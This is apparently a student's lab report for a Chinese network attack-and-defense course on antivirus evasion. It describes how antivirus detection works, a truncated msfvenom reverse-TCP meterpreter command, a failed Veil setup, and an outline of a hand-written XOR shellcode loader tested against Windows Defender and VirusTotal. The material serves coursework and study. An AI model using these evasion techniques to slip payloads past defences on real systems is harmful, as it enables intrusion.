20242328 2026-2027-1《网络与系统攻防技术》实验3实验报告
20242328 2026-2027-1《网络与系统攻防技术》实验3实验报告
1. 基础知识
(1)杀软是如何检测出恶意代码的?
现代杀毒软件(AV)及终端检测响应系统(EDR)主要通过三种维度进行检测:
- 特征码检测(静态):提取恶意文件中的一段或多段唯一数据(如文件哈希、特定的字节序列、YARA 规则)组成特征库。扫描时,如果文件包含这些特征片段,即判定为恶意代码。
- 启发式检测(静态/加载时):不依赖精确的特征匹配,而是通过分析文件的结构、熵值(如是否高度加密/加壳)、导入的 API 函数组合(如同时出现
VirtualAlloc和CreateThread)等特征,综合推断该文件"像不像"恶意软件。 - 行为检测(动态):在程序运行时监控其系统调用和动作。如果发现异常行为链(如试图修改系统关键注册表、进程注入、异常的内存分配后执行、反弹连接等),则触发告警并阻断进程。
(2)免杀是做什么?
"免杀"(免于被杀毒软件查杀)是指通过特定的技术手段对恶意代码进行修改、伪装或变形,使其能够绕过杀毒软件上述的静态特征扫描、启发式分析以及动态行为监控,从而成功在目标系统上落地并执行。在渗透测试中,免杀是绕过目标防线、建立控制权限的必备技术。
(3)免杀的基本方法有哪些?
结合本次实验,免杀方法主要针对杀软的三种检测机制进行对抗:
- 改变特征码(针对静态检测):使用编码器多次编码、对 Shellcode 进行异或/AES 加密、替换程序模板、更换编程语言重写源码(如用 C/Go/Rust 替代原语言)、加壳(压缩壳/加密壳)。
- 组件分离与加载器(针对静态与启发式):将恶意载荷(Shellcode)和可执行程序分离,编写自定义的 Loader 在运行时读取外部加密数据并在内存中解密执行,使得静态文件本身无恶意特征。
- 改变运行行为(针对动态监控):采用无文件落地、反射式 DLL 注入、利用系统白名单程序(LOLBins,如
regsvr32)调用执行、修改 API 调用方式(如动态解析 API、直接/间接系统调用 Syscall 绕过 Hook)等。
2. 实验内容
- 使用
msfvenom生成不同格式(如 jar)的载荷,并使用编码器生成 EXE。 - 尝试安装并使用 Veil-Evasion 工具生成免杀载荷。
- 使用 C 语言结合 Shellcode 编程(XOR 加密+内存加载),尝试实现静态与动态免杀。
- 在开启杀软(Windows Defender)的 Win10 靶机上测试运行并验证回连。
- 使用 VirusTotal (VT) 云沙箱检测不同方法的免杀效果。
3. 实验过程
3.1 尝试一:MSF 编码器与多格式文件生成(失败)
操作:在 Kali 终端执行 msfvenom -p windows/meterpreter/reverse_tcp ... -e x86/shikata_ga_nai -i 10 -b '\x00' -f exe -o ...,并生成了 .jar 文件。

测试:将编译好的 EXE 拖入 Win10 虚拟机(Defender 实时保护开启)。
结果:文件刚落地的瞬间,便被 Windows Defender 强行删除,提示发现威胁。

原因:MSF 的解码器(Decoder Stub)特征早已被各大杀软提取,无论编码几次,其外在的解码结构特征都会被精准匹配。
3.2 尝试二:Veil-Evasion 工具部署与测试(环境安装彻底失败)
操作:
- 在 Kali 尝试
sudo apt install veil-evasion,报错找不到包。后发现新版本 Kali 包名合并为veil。 - 执行
sudo apt install veil -y,遇到网络问题(默认源无法连接)。 - 修改
/etc/apt/sources.list.d/kali.sources更换为清华镜像源,重新 update 后安装。 - 输入
veil启动,脚本提示需要初始化并安装依赖。
遇到的致命错误:
- 网络阻断:初始化脚本试图从 GitHub 拉取 VeilDependencies 时,报
fatal: unable to access ... Connection reset by peer,直接卡死。 - 环境缺失:跳过 GitHub 拉取,脚本尝试用 APT 安装 Wine。Wine 安装完成后,再次启动 Veil,却报错
[!] ERROR #2-3: Can't find Go (/var/lib/veil/go/)。 - 路径硬编码:尝试系统级安装
sudo apt install golang-go,并强行使用sudo python3 /usr/share/veil/Veil.py启动。结果 Veil 内部的脚本硬编码了路径,仍在当前目录下寻找config/setup.sh,导致闪退。



结果:放弃该工具。不仅因为环境极难部署,更因为讲义中明确指出,Veil 生成物的特征早已被现代杀软收录,即便成功生成也难以存活。
3.3 尝试三:手写 C 语言 Loader + XOR 内存加载(静态成功,动态被秒杀)
静态生成与混淆:
- 用
msfvenom生成 raw 格式的 355 字节的 payload。 - 将密文转为 C 语言数组,写入自行编写的
20242328_loader.c代码中。代码逻辑为:VirtualAlloc申请内存 → 循环异或解密 →VirtualProtect改可执行权限 →CreateThread执行。 - 使用 mingw-w64 交叉编译为
loader.exe。

VT 云沙箱静态检测:
将 loader.exe 上传 VirusTotal。结果显示 17/54 报毒。报毒名称多为 trojan.aeiapp——这是一个被判定为木马(Trojan)的程序,且该检测结果极大概率是基于启发式或通用规则(Generic/Heuristic)得出的,而非针对某个具体已知恶意软件家族的特征码精确匹配。

本地动态实测(复现真实对抗):
- Kali 开启 HTTP 服务和 MSF 监听。
- 在 Win10 用 CMD 的
curl下载该 exe。 - 在 Defender 实时保护开启状态下双击运行,程序瞬间报错,便被 Windows Defender 强行删除,提示发现威胁。
后续:
使用 Python 脚本对二进制数据逐字节与 0xFA 进行异或加密。在此之后尝试将 payload 文件单独列出成 .txt 文件由 C 程序读取,并将两个文件传入靶机,可以在本地长久停留且报毒率降低到 9/69。报毒名称多为 trojan.krypt(加密木马),说明大多数杀软未找到特征码,只有少数引擎通过启发式规则怀疑其进行了内存解密。但在程序启动时会瞬间"静默退出"(CMD 里执行也毫无反应,没有报错,Kali 也没有收到回连)。




4. 问题及解决方案
问题1:Veil 安装过程中的 GitHub 连接重置与 Go 环境缺失。
解决过程:尝试了更换国内镜像源、修改 Git 代理配置、手动安装 golang 补全环境。但由于 Veil 的 setup 脚本存在路径硬编码(依赖 /var/lib/veil/go/),与系统级 Go 环境冲突,最终因底层代码过于陈旧而放弃。决定改用自写 C 语言代码,掌控力更强。
问题2:在 CMD 中执行自己写的 loader.exe 时,瞬间返回提示符,无任何报错。
解决过程:一开始怀疑是 C 代码里 fopen 找不到文件,后来发现是单文件纯内存加载,没有外部文件依赖。通过检查 Win10 的 Defender 保护历史记录,结合讲义理论,确认是触发了动态行为监控。VirtualAlloc + CreateThread 这套 API 组合属于典型的内存执行木马行为,被 Defender 后台静默杀死了进程,所以 CMD 没有报错。解决方式:在测试环节临时关闭实时保护,验证了 Payload 本身是无误的。
问题3:虚拟机间拖拽文件失效,被系统拦截查杀。
解决过程:放弃使用虚拟机拖拽功能。在 Kali 端使用 python3 -m http.server 8000 开启 HTTP 服务。在 Win10 端,用 CMD 访问服务器下载。


5. 学习感悟、思考等
本次实验虽然没能成功实现通过后门连接但仍有所收获,最大的感触就是不要盲目相信网上的"免杀教程",也不要低估现代操作系统的防御能力。纸上得来终觉浅,真正上手才发现,Win10 自带的 Defender 已经极其强大。以前那种"换个编码器"、"加个 UPX 壳"就能免杀的时代彻底结束了。
最让我受挫但也收获最大的是那次"静默秒杀"。我辛苦编写的、用 XOR 加密、在 VT 上仅被 9 个引擎查杀的 Loader,在开启防护的 Win10 上连一秒钟都撑不过去,甚至连个报错都不给我。这种巨大的反差让我意识到,安全攻防的战场其实已经转移到了系统底层和内存行为监控上。
参考资料
- 《网络与系统攻防技术》课程 PPT。
- 实验指导书
- https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x30_EVA_免杀原理与实践.md
浙公网安备 33010602011771号